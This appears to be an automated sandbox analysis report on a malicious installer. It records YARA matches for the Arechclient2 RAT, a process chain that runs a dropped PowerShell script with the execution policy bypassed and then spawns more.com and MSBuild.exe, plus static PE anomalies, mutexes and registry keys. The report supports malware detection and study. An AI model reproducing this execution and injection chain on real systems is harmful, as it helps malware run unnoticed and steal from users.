Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_02D2A8FB	12_2_02D2A8FB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_02D2C862	12_2_02D2C862
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_02D2A908	12_2_02D2A908
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_02D2D0F3	12_2_02D2D0F3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_02D2B09E	12_2_02D2B09E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_02D21060	12_2_02D21060
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_02D215C3	12_2_02D215C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_02D2BD45	12_2_02D2BD45
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_06EC0FA0	12_2_06EC0FA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_06ECB4C9	12_2_06ECB4C9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_06ECA4A8	12_2_06ECA4A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_06EC4C38	12_2_06EC4C38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_06ECF5C6	12_2_06ECF5C6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_06EC8530	12_2_06EC8530
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_06EC6500	12_2_06EC6500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_06EC4AA0	12_2_06EC4AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_06EC5BC0	12_2_06EC5BC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_06EC9318	12_2_06EC9318
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_06ECF0B8	12_2_06ECF0B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_06EC7088	12_2_06EC7088
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_06EC5168	12_2_06EC5168
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_06EC0F91	12_2_06EC0F91
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_06EC4C28	12_2_06EC4C28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_06ECA430	12_2_06ECA430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_06EC92C1	12_2_06EC92C1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_06EC3260	12_2_06EC3260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_06EC3252	12_2_06EC3252
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_06EC9309	12_2_06EC9309
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_06EC1315	12_2_06EC1315
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_06ECF0AE	12_2_06ECF0AE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_06EC7078	12_2_06EC7078
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_06EC0040	12_2_06EC0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_06EC7821	12_2_06EC7821
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_06EC0006	12_2_06EC0006
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_06EC7818	12_2_06EC7818
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_06EC7816	12_2_06EC7816
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_06EC5147	12_2_06EC5147
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_07036160	12_2_07036160
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_07030DEF	12_2_07030DEF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_07031800	12_2_07031800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_07037033	12_2_07037033
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_07030040	12_2_07030040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_0703E0C8	12_2_0703E0C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_0703C8D8	12_2_0703C8D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_0703E8F0	12_2_0703E8F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_07030BC8	12_2_07030BC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_07036152	12_2_07036152
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_07032830	12_2_07032830
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_07037048	12_2_07037048
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_0703C8C8	12_2_0703C8C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_0703E8E2	12_2_0703E8E2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_0703BCF8	12_2_0703BCF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_07076381	12_2_07076381
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_0707BEC8	12_2_0707BEC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_0707F17C	12_2_0707F17C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_070735D0	12_2_070735D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_07070828	12_2_07070828
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_07070040	12_2_07070040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_07075060	12_2_07075060
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_0707AC68	12_2_0707AC68
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_07077078	12_2_07077078
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_07072CAB	12_2_07072CAB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_07074CE0	12_2_07074CE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_07077D52	12_2_07077D52
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_07070006	12_2_07070006
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_07070819	12_2_07070819
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_07072478	12_2_07072478
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_07074CCF	12_2_07074CCF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_073480E0	12_2_073480E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_0734EDF0	12_2_0734EDF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_073450FC	12_2_073450FC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_07353FC8	12_2_07353FC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_0735A530	12_2_0735A530
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_073545D8	12_2_073545D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_07355450	12_2_07355450
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_073574B8	12_2_073574B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_0735CBB0	12_2_0735CBB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_07353FB9	12_2_07353FB9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_0735DE78	12_2_0735DE78
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_0735DE68	12_2_0735DE68
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_0735AEA8	12_2_0735AEA8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_07355ED8	12_2_07355ED8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_07355EC8	12_2_07355EC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_073595D0	12_2_073595D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_0735BB10	12_2_0735BB10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_08100040	12_2_08100040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_08102690	12_2_08102690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_08107080	12_2_08107080
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_081012F8	12_2_081012F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_08105500	12_2_08105500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_08107071	12_2_08107071
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_08103FB8	12_2_08103FB8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_08103FA8	12_2_08103FA8
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Code function: 14_2_0000018D136CCA73	14_2_0000018D136CCA73
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Code function: 14_2_0000018D136CDF8C	14_2_0000018D136CDF8C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_00F01070	17_2_00F01070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_00F0B01F	17_2_00F0B01F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_00F015E0	17_2_00F015E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_00F0B09E	17_2_00F0B09E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_00F01060	17_2_00F01060
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_00F015DF	17_2_00F015DF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_00F0A8A7	17_2_00F0A8A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_00F0A908	17_2_00F0A908
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_00F0BD78	17_2_00F0BD78
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_00F0BD45	17_2_00F0BD45

PE file contains executable resources (Code or Archives)

Source: 9VbeqQbgU4.tmp.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: is-8GQDF.tmp.1.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: dobi.exe.5.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: BITA54F.tmp.11.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

PE file contains more sections than normal

Source: 9VbeqQbgU4.exe	Static PE information: Number of sections : 11 > 10
Source: BITA54F.tmp.11.dr	Static PE information: Number of sections : 11 > 10
Source: 9VbeqQbgU4.tmp.0.dr	Static PE information: Number of sections : 11 > 10
Source: is-8GQDF.tmp.1.dr	Static PE information: Number of sections : 11 > 10
Source: is-NHDMN.tmp.1.dr	Static PE information: Number of sections : 14 > 10
Source: dobi.exe.5.dr	Static PE information: Number of sections : 11 > 10

PE file contains strange resources

Source: 9VbeqQbgU4.exe	Static PE information: Resource name: RT_GROUP_ICON type: GLS_BINARY_LSB_FIRST
Source: 9VbeqQbgU4.tmp.0.dr	Static PE information: Resource name: RT_GROUP_ICON type: GLS_BINARY_LSB_FIRST
Source: is-8GQDF.tmp.1.dr	Static PE information: Resource name: RT_GROUP_ICON type: GLS_BINARY_LSB_FIRST
Source: is-NHDMN.tmp.1.dr	Static PE information: Resource name: RT_GROUP_ICON type: GLS_BINARY_LSB_FIRST
Source: is-KS3DD.tmp.1.dr	Static PE information: Resource name: RT_GROUP_ICON type: GLS_BINARY_LSB_FIRST

Sample file is different than original file name gathered from version info

Source: 9VbeqQbgU4.exe, 00000000.00000000.1671241954.0000000000969000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFileName vs 9VbeqQbgU4.exe
Source: 9VbeqQbgU4.exe, 00000000.00000003.1678083885.0000000002B6F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs 9VbeqQbgU4.exe
Source: 9VbeqQbgU4.exe, 00000000.00000003.1678498917.000000007F2AB000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs 9VbeqQbgU4.exe
Source: 9VbeqQbgU4.exe	Binary or memory string: OriginalFileName vs 9VbeqQbgU4.exe

Uses 32bit PE files

Source: 9VbeqQbgU4.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Yara signature match

Source: amsi32_1744.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: 15.2.more.com.56100c8.7.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT
Source: 17.2.MSBuild.exe.770000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT
Source: 15.2.more.com.56100c8.7.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT
Source: 9.2.more.com.55800c8.7.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT
Source: 9.2.more.com.55800c8.7.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT
Source: Process Memory Space: powershell.exe PID: 1744, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: C:\Users\user\AppData\Local\Temp\jotnemib, type: DROPPED	Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT
Source: C:\Users\user\AppData\Local\Temp\kdtvqgf, type: DROPPED	Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT

Source: 9.2.more.com.55800c8.7.raw.unpack, -Module-.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 15.2.more.com.56100c8.7.raw.unpack, -Module-.cs	Cryptographic APIs: 'CreateDecryptor'

Source: classification engine

Classification label: mal80.troj.spyw.evad.winEXE@20/183@0/2

Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp

File created: C:\Program Files (x86)\Canva

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Package.zip

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:984:120:WilError_03
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Mutant created: \Sessions\1\BaseNamedObjects\VOVSOFT_Window_Resizer
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5144:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Mutant created: \Sessions\1\BaseNamedObjects\a381c7bea27345e09604787bfabaa590
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4488:120:WilError_03

Source: C:\Users\user\Desktop\9VbeqQbgU4.exe

File created: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp

Jump to behavior

Source: C:\Users\user\Desktop\9VbeqQbgU4.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\9VbeqQbgU4.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp

File read: C:\Program Files (x86)\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\9VbeqQbgU4.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Jump to behavior

Source: 9VbeqQbgU4.exe

String found in binary or memory: /LOADINF="filename"

Source: C:\Users\user\Desktop\9VbeqQbgU4.exe

File read: C:\Users\user\Desktop\9VbeqQbgU4.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\9VbeqQbgU4.exe "C:\Users\user\Desktop\9VbeqQbgU4.exe"
Source: C:\Users\user\Desktop\9VbeqQbgU4.exe	Process created: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp "C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp" /SL5="$10434,81954756,1209856,C:\Users\user\Desktop\9VbeqQbgU4.exe"
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\is-LLPRR.tmp\ExtractedContent.ps1"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe "C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe"
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Process created: C:\Windows\SysWOW64\more.com C:\Windows\SysWOW64\more.com
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\sto\coml.exe "C:\Users\user\AppData\Roaming\sto\coml.exe"
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Process created: C:\Windows\SysWOW64\more.com C:\Windows\SysWOW64\more.com
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Source: C:\Users\user\Desktop\9VbeqQbgU4.exe	Process created: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp "C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp" /SL5="$10434,81954756,1209856,C:\Users\user\Desktop\9VbeqQbgU4.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\is-LLPRR.tmp\ExtractedContent.ps1"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe "C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Process created: C:\Windows\SysWOW64\more.com C:\Windows\SysWOW64\more.com	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Process created: C:\Windows\SysWOW64\more.com C:\Windows\SysWOW64\more.com
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Source: C:\Users\user\Desktop\9VbeqQbgU4.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\9VbeqQbgU4.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Section loaded: srvcli.dll	Jump to behavior
